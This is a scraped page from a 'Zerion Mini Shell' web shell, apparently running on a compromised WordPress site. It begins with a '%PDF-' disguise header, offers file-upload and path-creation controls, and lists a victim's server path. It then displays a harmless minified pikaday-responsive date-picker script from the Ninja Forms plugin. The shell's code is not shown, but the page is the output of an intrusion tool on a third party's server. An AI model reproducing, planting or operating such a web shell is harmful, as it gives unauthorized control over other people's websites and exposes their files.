%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/jalalj2hb/www/wp-content/plugins/ninja-forms/assets/js/lib/
Upload File :
Create Path :
Current File : /home/jalalj2hb/www/wp-content/plugins/ninja-forms/assets/js/lib/pikaday-responsive.min.js

/**
 * This file has been modified from its original version.
 *
 * var $ = jQuery; has been added for jQuery no conflict mode.
 * $el.wrap("<span class='pikaday__container'></span>"); has been changed to $el.wrap("<div class='pikaday__container'></div>"); so that the container is a div.
 * placeholder: "Select a date", has been changed to placeholder: "", to remove the placeholder.
 *
 * Modernizr dependency has been removed.
 */
!function(a,b){"function"==typeof define?define("pikaday-responsive",["exports"],function(a){return a.default=b()}):"object"==typeof module?module.exports=b():a.pikadayResponsive=b()}(this,function(){var a=jQuery;if(!moment)return void console.error("You need to load moment.js in order to use pikaday-responsive.");if(!jQuery)return void console.error("You need to load jQuery in order to use pikaday-responsive.");if(!Pikaday)return void console.error("You need to load pikaday in order to use pikaday-responsive.");var b={format:"YYYY-MM-DD",outputFormat:"YYYY-MM-DD",checkIfNativeDate:function(){return!1},classes:"",placeholder:"",pikadayOptions:{},dayOffset:0};return function(c,d){var g,h,i,e=a(c),f=a.extend({},b,d),j={pikaday:null,value:null,date:null,element:e[0]};if(!e.length||"INPUT"!==e[0].tagName)return console.error("pikadayResponsive expects an input-field as its first element.",e[0]),!1;if(e.attr("type","hidden"),e.wrap("<div class='pikaday__container'></div>"),g=e.parent(".pikaday__container"),f.checkIfNativeDate())h=a("<input type='date' class='pikaday__invisible' placeholder='"+f.placeholder+"' />"),g.append(h),i=a("<input type='text' readonly='readonly' class='pikaday__display pikaday__display--native "+f.classes+"' placeholder='"+f.placeholder+"' />"),g.append(i),h.on("change",function(){var b=a(this).val();i.removeClass("is-empty"),b?(j.date=moment(b,"YYYY-MM-DD"),j.value=j.date.format(f.outputFormat)):(j.date=null,j.value=null,i.addClass("is-empty")),1*j.value===parseInt(j.value,10)&&(j.value*=1),e.val(j.value),j.date?i.val(j.date.format(f.format)):i.val(null),e.trigger("change"),e.trigger("change-date",[j])});else{h=a("<input type='text' class='pikaday__display pikaday__display--pikaday "+f.classes+"' placeholder='"+f.placeholder+"' />"),g.append(h);var k=!1,l=null;j.pikaday=new Pikaday(a.extend({},f.pikadayOptions,{field:h[0],format:f.format})),h.on("change",function(){if(!k){k=!0,l=window.setTimeout(function(){k=!1},10);var b=a(this).val();h.removeClass("is-empty"),b?(j.date=moment(b,f.format),j.date.add(f.dayOffset,"day"),j.value=j.date.format(f.outputFormat),a(this).val(j.date.format(f.format))):(j.date=null,j.value=null,h.addClass("is-empty")),1*j.value===parseInt(j.value,10)&&(j.value*=1),e.val(j.value),setTimeout(function(){e.trigger("change"),e.trigger("change-date",[j])},1)}})}var m=function(a,b){return a?("object"==typeof a&&"function"!=typeof a.format&&(a=moment(a)),"string"==typeof a&&("undefined"!=typeof b&&b||(b=f.outputFormat),a=moment(a,b)),"number"==typeof a&&(a=moment(a)),j.pikaday?j.pikaday.setMoment(a):(h.val(a.format("YYYY-MM-DD")),h.trigger("change")),a):(j.pikaday?j.pikaday.setDate(null):(h.val(null),h.trigger("change")),null)};return e.val()&&m(e.val()),j.setDate=m,j}});

Zerion Mini Shell 1.0